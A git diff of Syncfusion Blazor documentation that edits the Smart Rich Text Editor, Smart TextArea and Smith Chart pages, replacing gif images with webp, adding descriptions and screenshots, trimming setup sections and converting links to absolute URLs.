-dotnet user-secrets set "OpenAI:ApiKey" "your-api-key"
-```
-
-Access in Program.cs:
-
-```csharp
-var openAIApiKey = builder.Configuration["OpenAI:ApiKey"];
-```
-
-## Advanced Configuration
-
-### Model Parameters
-
-Customize OpenAI model behavior:
-
-```csharp
-builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
-    .ConfigureOpenAI(options =>
-    {
-        options.MaxTokens = 500;           // Limit response length
-        options.Temperature = 0.7f;         // Creativity level (0-2)
-        options.TopP = 0.9f;               // Diversity control
-        options.FrequencyPenalty = 0.5f;   // Repeat penalty
-        options.PresencePenalty = 0.5f;    // New topic penalty
-    });
-```
-
-### Parameter Explanation
-
-| Parameter | Range | Default | Description |
-|-----------|-------|---------|-------------|
-| MaxTokens | 1-4096 | 500 | Maximum length of AI response |
-| Temperature | 0-2 | 0.7 | Higher = more creative, Lower = more focused |
-| TopP | 0-1 | 0.9 | Nucleus sampling - controls diversity |
-| FrequencyPenalty | -2-2 | 0 | Reduces likelihood of repetition |
-| PresencePenalty | -2-2 | 0 | Encourages new topics |
+![Syncfusion Smart Rich Text Editor OpenAI Integration](images/openai-integration.webp)
 
 ## Troubleshooting
 
@@ -216,29 +185,9 @@ builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
 - Verify API key permissions
 - Review OpenAI service status
 
-## Cost Optimization
-
-### Tips for Reducing Costs
-
-1. **Use Efficient Models**: `gpt-3.5-turbo` is significantly cheaper than `gpt-4`
-2. **Limit Token Count**: Set reasonable `MaxTokens` values
-3. **Implement Caching**: Cache common requests
-4. **Monitor Usage**: Track API calls and costs
-5. **Batch Operations**: Process multiple requests efficiently
-
-## Security Best Practices
-
-1. **Never hardcode API keys** - Use environment variables or secure configuration
-2. **Use User Secrets** for development - Not for production
-3. **Implement Rate Limiting** - Prevent abuse of your application
-4. **Validate User Input** - Before sending to OpenAI
-5. **Review Content** - Always review AI-generated content before publishing
-6. **Set Spending Limits** - Configure usage limits on OpenAI account
-
 ## See also
 
-* [Getting Started with Smart Rich Text Editor](getting-started.md)
-* [AI Features and Customization](ai-features.md)
-* [Azure OpenAI Configuration](azure-openai-service.md)
-* [Ollama Configuration](ollama.md)
+* [Getting Started with Smart Rich Text Editor](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp)
+* [Azure OpenAI Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/azure-openai-service)
+* [Ollama Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/ollama)
 * [OpenAI Documentation](https://developers.openai.com/api/docs)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/property.md b/blazor/smart-rich-text-editor/property.md
index e102807255..b73dc1f5ee 100644
--- a/blazor/smart-rich-text-editor/property.md
+++ b/blazor/smart-rich-text-editor/property.md
@@ -21,6 +21,7 @@ Use the `Commands` property to configure each `AICommands` entry, including its
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
+    <p>The <strong>AssistViewSettings</strong> properties in the Syncfusion Smart Rich Text Editor enable you to configure and customize the behavior and features of the AssistView. These settings allow you to control toolbar actions, manage user interactions, and tailor the overall assistance experience within the editor.</p>
     <AssistViewSettings Commands="@MyCommands" />
 </SfSmartRichTextEditor>
 
@@ -45,6 +46,8 @@ Use the `Commands` property to configure each `AICommands` entry, including its
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings Command Property](./images/smart-rich-text-editor-command-property.png)
+
 ---
 
 ## PopupMaxHeight
@@ -58,12 +61,15 @@ Sets the maximum height of the AI Assistant popup. Accepts CSS height values or
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
+    <p>Specifies the maximum height of the AssistView popup. This property helps control the vertical size of the popup to ensure optimal display and usability within the editor layout.</p>
     <AssistViewSettings PopupMaxHeight="80vh" />
 </SfSmartRichTextEditor>
 
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings PopupMaxHeight Property](./images/smart-rich-text-editor-popupmaxheight-property.png)
+
 ---
 
 ## PopupWidth
@@ -77,12 +83,15 @@ Sets the width of the AI Assistant popup. Accepts CSS width values or numbers (t
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
-    <AssistViewSettings PopupWidth="650px" />
+    <p>Specifies the width of the AssistView popup. This property allows you to control the horizontal size of the popup to ensure it fits well within the editor layout and provides an optimal user experience.</p>
+    <AssistViewSettings PopupWidth="550px" />
 </SfSmartRichTextEditor>
 
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings PopupWidth Property](./images/smart-rich-text-editor-popupwidth-property.png)
+
 ---
 
 ## Placeholder
@@ -96,12 +105,15 @@ Specifies the placeholder text shown in the AI Assistant prompt textarea.
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
+    <p>Specifies the placeholder text displayed in the AssistView input area when no content is entered.</p>
     <AssistViewSettings Placeholder="How can I improve this document?" />
 </SfSmartRichTextEditor>
 
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings Placeholder Property](./images/smart-rich-text-editor-placeholder-property.png)
+
 ---
 
 ## Prompts
@@ -116,6 +128,7 @@ Defines a collection of predefined prompts and their corresponding responses. Th
 @using Syncfusion.Blazor.InteractiveChat
 
 <SfSmartRichTextEditor>
+    <p>Specifies the collection of predefined prompts available in the AssistView. These prompts help guide users by providing ready-to-use suggestions, enabling quicker interactions and improving the overall assistance experience within the editor.</p>
     <AssistViewSettings Prompts="@TemplatePrompts" />
 </SfSmartRichTextEditor>
 
@@ -150,6 +163,8 @@ Retrieves a list of users.
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings Prompts Property](./images/smart-rich-text-editor-prompts-property.png)
+
 ---
 
 ## Suggestions
@@ -163,6 +178,7 @@ Defines suggestion prompts displayed in the AI Assistant popup.
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
+    <p>Specifies the list of suggested prompts displayed in the AssistView. These suggestions help users quickly choose common actions or queries, improving efficiency and guiding interactions within the editor.</p>
     <AssistViewSettings Suggestions="@QuickSuggestions" />
 </SfSmartRichTextEditor>
 
@@ -181,6 +197,8 @@ Defines suggestion prompts displayed in the AI Assistant popup.
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings Suggestions Property](./images/smart-rich-text-editor-suggestions-property.png)
+
 ---
 
 ## MaxPromptHistory
@@ -213,6 +231,7 @@ Specifies the template for the banner in the AI Assistant popup, useful for bran
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
+    <p>Specifies a custom template for the banner section in the AssistView. This property allows you to define personalized content or UI elements to be displayed, enhancing the visual appearance and user experience.</p>   
     <AssistViewSettings>
         <BannerTemplate>
             <div style="padding: 16px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white;">
@@ -226,6 +245,8 @@ Specifies the template for the banner in the AI Assistant popup, useful for bran
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings BannerTemplate Property](./images/smart-rich-text-editor-bannertemplate-property.png)
+
 ---
 
 ## HeaderToolbarSettings
@@ -241,6 +262,7 @@ Configures the toolbar in the header section of the AI Assistant interface.
 @using Syncfusion.Blazor.Navigations
 
 <SfSmartRichTextEditor>
+    <p>Specifies the toolbar settings for the header section of the AssistView. This property allows you to configure the available toolbar items and control their appearance and behavior, enabling customized interactions within the AssistView.</p>    
     <AssistViewSettings>
         <HeaderToolbarSettings>
             <AssistViewToolbarItem Type="ItemType.Spacer" />
@@ -253,6 +275,8 @@ Configures the toolbar in the header section of the AI Assistant interface.
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings HeaderToolbarSettings Property](./images/smart-rich-text-editor-header-toolbasettings-property.png)
+
 ---
 
 ## PromptToolbarSettings
@@ -268,6 +292,7 @@ Configures the toolbar below of the prompt input area section.
 @using Syncfusion.Blazor.Navigations
 
 <SfSmartRichTextEditor>
+    <p>Specifies the toolbar settings for the prompt input area in the AssistView. This property allows you to customize the available toolbar actions and control how users interact with prompts, enhancing the overall assistance workflow.</p>
     <AssistViewSettings>
         <PromptToolbarSettings>
             <PromptToolbarItem Text="Edit" IconCss="e-icons e-assist-edit" Tooltip="Edit prompt" />
@@ -281,6 +306,8 @@ Configures the toolbar below of the prompt input area section.
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings PromptToolbarSettings Property](./images/smart-rich-text-editor-prompt-toolbasettings-property.png)
+
 ---
 
 ## ResponseToolbarSettings
@@ -297,6 +324,7 @@ Configures the toolbar in the AI response viewer section.
 @using Syncfusion.Blazor.Navigations
 
 <SfSmartRichTextEditor>
+    <p>Specifies the toolbar settings for the response section in the AssistView. This property allows you to configure the available actions and control how users interact with generated responses, enabling a more flexible and interactive experience.</p>
     <AssistViewSettings>
         <ResponseToolbarSettings>
             <ResponseToolbarItem Text="Regenerate" IconCss="e-icons e-refresh" />
@@ -315,10 +343,12 @@ Configures the toolbar in the AI response viewer section.
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings ResponseToolbarSettings Property](./images/smart-rich-text-editor-response-toolbasettings-property.png)
+
 ---
 
-## See Also
+## See also
 
-* [Methods](method.md)
-* [Appearance](appearance.md)
-* [Events](events.md)
\ No newline at end of file
+* [Methods](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/method)
+* [Appearance](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/appearance)
+* [Events](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/events)
\ No newline at end of file
diff --git a/blazor/smart-textarea/claude-service.md b/blazor/smart-textarea/claude-service.md
index e4fa97def8..dff690fc3f 100644
--- a/blazor/smart-textarea/claude-service.md
+++ b/blazor/smart-textarea/claude-service.md
@@ -232,7 +232,7 @@ Add the Smart TextArea component to a Razor file (e.g., `~/Pages/Home.razor`) to
 3. Type phrases like "Thank" or "Please provide" in the Smart TextArea to verify that Claude AI generates appropriate suggestions.
 4. Check that suggestions appear as configured (e.g., inline or pop-up, based on the `ShowSuggestionOnPopup` setting).
 
-![Smart TextArea with Claude AI](images/smart-textarea.gif)
+![Smart TextArea with Claude AI](images/smart-textarea.webp)
 
 ## Troubleshooting
 
diff --git a/blazor/smart-textarea/custom-inference-backend.md b/blazor/smart-textarea/custom-inference-backend.md
index 401197ea88..39d5d1c5f6 100644
--- a/blazor/smart-textarea/custom-inference-backend.md
+++ b/blazor/smart-textarea/custom-inference-backend.md
@@ -76,7 +76,7 @@ var app = builder.Build();
 4. Type phrases like "thank" or "investigate" in the Smart TextArea to verify that the custom AI service generates appropriate responses.
 5. Ensure suggestions appear as configured (e.g., inline or pop-up, based on the `ShowSuggestionOnPopup` setting).
 
-![Smart TextArea with Custom AI Service](images/smart-textarea.gif)
+![Smart TextArea with Custom AI Service](images/smart-textarea.webp)
 
 ## Implemented AI Services
 
diff --git a/blazor/smart-textarea/customization.md b/blazor/smart-textarea/customization.md
index 5eae60f616..b64b8cd20b 100644
--- a/blazor/smart-textarea/customization.md
+++ b/blazor/smart-textarea/customization.md
@@ -25,7 +25,7 @@ The `ShowSuggestionOnPopup` attribute in Syncfusion<sup style="font-size:70%">&r
 }
 ```
 
-![SUggestion on popup](images/smart-textarea-popup.gif)
+![SUggestion on popup](images/smart-textarea-popup.webp)
 
 * If `ShowSuggestionOnPopup` is `false`, suggestions displayed inline.
 
@@ -41,11 +41,11 @@ The `ShowSuggestionOnPopup` attribute in Syncfusion<sup style="font-size:70%">&r
 }
 ```
 
-![SUggestion inline](images/smart-textarea-inline.gif)
+![SUggestion inline](images/smart-textarea-inline.webp)
 
 By default `ShowSuggestionOnPopup` is `false`.
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart TextArea in Blazor Web App](https://blazor.syncfusion.com/documentation/)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart TextArea with in Blazor Server App](https://blazor.syncfusion.com/documentation/)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart TextArea in Blazor Web App](https://blazor.syncfusion.com/documentation)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart TextArea with in Blazor Server App](https://blazor.syncfusion.com/documentation)
diff --git a/blazor/smart-textarea/deepseek-service.md b/blazor/smart-textarea/deepseek-service.md
index fb8cabf0ac..c0305f581f 100644
--- a/blazor/smart-textarea/deepseek-service.md
+++ b/blazor/smart-textarea/deepseek-service.md
@@ -227,7 +227,7 @@ Add the Smart TextArea component to a Razor file (e.g., `~/Pages/Home.razor`) to
 3. Type phrases like "Thank" or "Please provide" in the Smart TextArea to verify that DeepSeek AI generates appropriate suggestions.
 4. Check that suggestions appear as configured (e.g., inline or pop-up, based on the `ShowSuggestionOnPopup` setting).
 
-![Smart TextArea with DeepSeek AI](images/smart-textarea.gif)
+![Smart TextArea with DeepSeek AI](images/smart-textarea.webp)
 
 ## Troubleshooting
 
diff --git a/blazor/smart-textarea/gemini-service.md b/blazor/smart-textarea/gemini-service.md
index f78745cd69..839037eada 100644
--- a/blazor/smart-textarea/gemini-service.md
+++ b/blazor/smart-textarea/gemini-service.md
@@ -276,7 +276,7 @@ Add the Smart TextArea component to a Razor file (e.g., `~/Pages/Home.razor`) to
 3. Type phrases like "Thank" or "Please provide" in the Smart TextArea to verify that Gemini AI generates appropriate suggestions.
 4. Check that suggestions appear as configured (e.g., inline or pop-up, based on the `ShowSuggestionOnPopup` setting).
 
-![Smart TextArea with Gemini AI](images/smart-textarea.gif)
+![Smart TextArea with Gemini AI](images/smart-textarea.webp)
 
 ## Troubleshooting
 
diff --git a/blazor/smart-textarea/getting-started-webapp.md b/blazor/smart-textarea/getting-started-webapp.md
index 9f60192453..899cac5a53 100644
--- a/blazor/smart-textarea/getting-started-webapp.md
+++ b/blazor/smart-textarea/getting-started-webapp.md
@@ -362,7 +362,7 @@ Here,
 
 * Type 'To investigate' to experience instant sentence autocompletion.
 
-![Syncfusion Smart TextArea - Output](images/smart-textarea-userphrases.gif)
+![Syncfusion Smart TextArea - Output](images/smart-textarea-userphrases.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-textarea/getting-started.md b/blazor/smart-textarea/getting-started.md
index fc6f1b78ea..cc6b5d497f 100644
--- a/blazor/smart-textarea/getting-started.md
+++ b/blazor/smart-textarea/getting-started.md
@@ -346,7 +346,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> **Blazor Smart TextArea
 
 * Type 'To investigate' to experience instant sentence autocompletion.
 
-![Syncfusion Smart TextArea - Output](images/smart-textarea-userphrases.gif)
+![Syncfusion Smart TextArea - Output](images/smart-textarea-userphrases.webp)
 
 N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
diff --git a/blazor/smart-textarea/groq-service.md b/blazor/smart-textarea/groq-service.md
index dd2327787c..41850cfb8e 100644
--- a/blazor/smart-textarea/groq-service.md
+++ b/blazor/smart-textarea/groq-service.md
@@ -230,7 +230,7 @@ Add the Smart TextArea component to a Razor file (e.g., `~/Pages/Home.razor`) to
 3. Type phrases like "Thank" or "Please provide" in the Smart TextArea to verify that Groq AI generates appropriate suggestions.
 4. Check that suggestions appear as configured (e.g., inline or pop-up, based on the `ShowSuggestionOnPopup` setting).
 
-![Smart TextArea with Groq AI](images/smart-textarea.gif)
+![Smart TextArea with Groq AI](images/smart-textarea.webp)
 
 ## Troubleshooting
 
diff --git a/blazor/smart-textarea/images/smart-textarea-inline.gif b/blazor/smart-textarea/images/smart-textarea-inline.gif
deleted file mode 100644
index c7504cc1ce..0000000000
Binary files a/blazor/smart-textarea/images/smart-textarea-inline.gif and /dev/null differ
diff --git a/blazor/smart-textarea/images/smart-textarea-inline.webp b/blazor/smart-textarea/images/smart-textarea-inline.webp
new file mode 100644
index 0000000000..2e652ba09c
Binary files /dev/null and b/blazor/smart-textarea/images/smart-textarea-inline.webp differ
diff --git a/blazor/smart-textarea/images/smart-textarea-popup.gif b/blazor/smart-textarea/images/smart-textarea-popup.gif
deleted file mode 100644
index 0ba2fd9f17..0000000000
Binary files a/blazor/smart-textarea/images/smart-textarea-popup.gif and /dev/null differ
diff --git a/blazor/smart-textarea/images/smart-textarea-popup.webp b/blazor/smart-textarea/images/smart-textarea-popup.webp
new file mode 100644
index 0000000000..48738d9494
Binary files /dev/null and b/blazor/smart-textarea/images/smart-textarea-popup.webp differ
diff --git a/blazor/smart-textarea/images/smart-textarea-userphrases.gif b/blazor/smart-textarea/images/smart-textarea-userphrases.gif
deleted file mode 100644
index a4de566915..0000000000
Binary files a/blazor/smart-textarea/images/smart-textarea-userphrases.gif and /dev/null differ
diff --git a/blazor/smart-textarea/images/smart-textarea-userphrases.webp b/blazor/smart-textarea/images/smart-textarea-userphrases.webp
new file mode 100644
index 0000000000..25a08654aa
Binary files /dev/null and b/blazor/smart-textarea/images/smart-textarea-userphrases.webp differ
diff --git a/blazor/smart-textarea/images/smart-textarea.gif b/blazor/smart-textarea/images/smart-textarea.gif
deleted file mode 100644
index 6fad68220e..0000000000
Binary files a/blazor/smart-textarea/images/smart-textarea.gif and /dev/null differ
diff --git a/blazor/smart-textarea/images/smart-textarea.webp b/blazor/smart-textarea/images/smart-textarea.webp
new file mode 100644
index 0000000000..4c68da0672
Binary files /dev/null and b/blazor/smart-textarea/images/smart-textarea.webp differ
diff --git a/blazor/smith-chart/getting-started-webapp.md b/blazor/smith-chart/getting-started-webapp.md
index 07317153d3..f323946b83 100644
--- a/blazor/smith-chart/getting-started-webapp.md
+++ b/blazor/smith-chart/getting-started-webapp.md
@@ -164,6 +164,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithchart>
 
 </SfSmithchart>
@@ -187,6 +189,8 @@ The following sample demonstrates adding two series to Smith Chart in both ways.
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithChart>
     <SmithChartSeriesCollection>
         <SmithChartSeries Name="Transmission1"
@@ -243,7 +247,7 @@ The following sample demonstrates adding two series to Smith Chart in both ways.
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smith Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLzXCAtAueCOnlF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Transmission Series](./images/blazor-smith-chart-series.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLzXCAtAueCOnlF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Transmission Series](./images/blazor-smith-chart-series.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/SmithChart).
 
@@ -254,6 +258,8 @@ Title can be added to the Smith Chart to provide a quick information to the user
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithChart>
     <SmithChartTitle Text="Impedance Transmission">
     </SmithChartTitle>
@@ -274,7 +280,7 @@ Title can be added to the Smith Chart to provide a quick information to the user
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know about the property value of `FirstTransmissionSeries` and `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBJXMUNfrbavmEP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Title](./images/blazor-smith-chart-with-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBJXMUNfrbavmEP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Title](./images/blazor-smith-chart-with-title.webp)" %}
 
 ## Enable Marker
 
@@ -283,6 +289,8 @@ To display marker for particular series, set the [Visible](https://help.syncfusi
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithChart>
     <SmithChartTitle Text="Impedance Transmission">
     </SmithChartTitle>
@@ -304,7 +312,7 @@ To display marker for particular series, set the [Visible](https://help.syncfusi
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know about the property value of `FirstTransmissionSeries` and `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBJZMANTVYSwBSX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Marker](./images/blazor-smith-chart-marker.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjBJZMANTVYSwBSX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Marker](./images/blazor-smith-chart-marker.webp)" %}
 
 ## Enable Data Label
 
@@ -313,6 +321,8 @@ To display data label for particular marker series, set the [Visible](https://he
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithChart>
     <SmithChartTitle Text="Impedance Transmission">
     </SmithChartTitle>
@@ -336,7 +346,7 @@ To display data label for particular marker series, set the [Visible](https://he
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know the property value of `FirstTransmissionSeries` and `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLzjCANJgZtmWaL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Data Label](./images/blazor-smith-chart-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLzjCANJgZtmWaL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Data Label](./images/blazor-smith-chart-data-label.webp)" %}
 
 ## Enable Legend
 
@@ -345,6 +355,8 @@ Use legend for the Smith Chart by setting the [Visible](https://help.syncfusion.
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithChart>
     <SmithChartLegendSettings Visible="true"></SmithChartLegendSettings>
     <SmithChartTitle Text="Impedance Transmission"></SmithChartTitle>
@@ -368,7 +380,7 @@ Use legend for the Smith Chart by setting the [Visible](https://help.syncfusion.
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know the property value of the `FirstTransmissionSeries` and the `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLfDCAjfUjfvoAi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Legend](./images/blazor-smith-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNLfDCAjfUjfvoAi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Legend](./images/blazor-smith-chart-legend.webp)" %}
 
 ## Enable Tooltip
 
@@ -377,6 +389,8 @@ When space constraints prevents from displaying information using data labels, t
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Charts
+
 <SfSmithChart>
     <SmithChartLegendSettings Visible="true"></SmithChartLegendSettings>
     <SmithChartTitle Text="Impedance Transmission"></SmithChartTitle>
@@ -402,7 +416,7 @@ When space constraints prevents from displaying information using data labels, t
 
 N> Refer to the [code block](#adding-series-to-smith-chart) to know about the property value of the `FirstTransmissionSeries` and the `SecondTransmissionSeries`.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhztsKjJAXFyuof?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Tooltip](./images/blazor-smith-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhztsKjJAXFyuof?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Smith Chart with Tooltip](./images/blazor-smith-chart-tooltip.webp)" %}
 
 ## See also
 
diff --git a/blazor/smith-chart/getting-started.md b/blazor/smith-chart/getting-started.md
index f76f2e3775..7c70d7ff41 100644
--- a/blazor/smith-chart/getting-started.md
+++ b/blazor/smith-chart/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Smith Chart Component
 
-This section briefly explains about how to include [Blazor Smith Chart](https://www.syncfusion.com/blazor-components/blazor-smith-chart) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smith Chart](https://www.syncfusion.com/blazor-components/blazor-smith-chart) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,22 +23,6 @@ This section briefly explains about how to include [Blazor Smith Chart](https://
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SmithChart NuGet in the App
-
-To add the **Blazor Smith Chart** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.SmithChart](https://www.nuget.org/packages/Syncfusion.Blazor.SmithChart). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.SmithChart -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -51,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -64,25 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SmithChart NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.SmithChart](https://www.nuget.org/packages/Syncfusion.Blazor.SmithChart) NuGet package and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.SmithChart -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -101,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
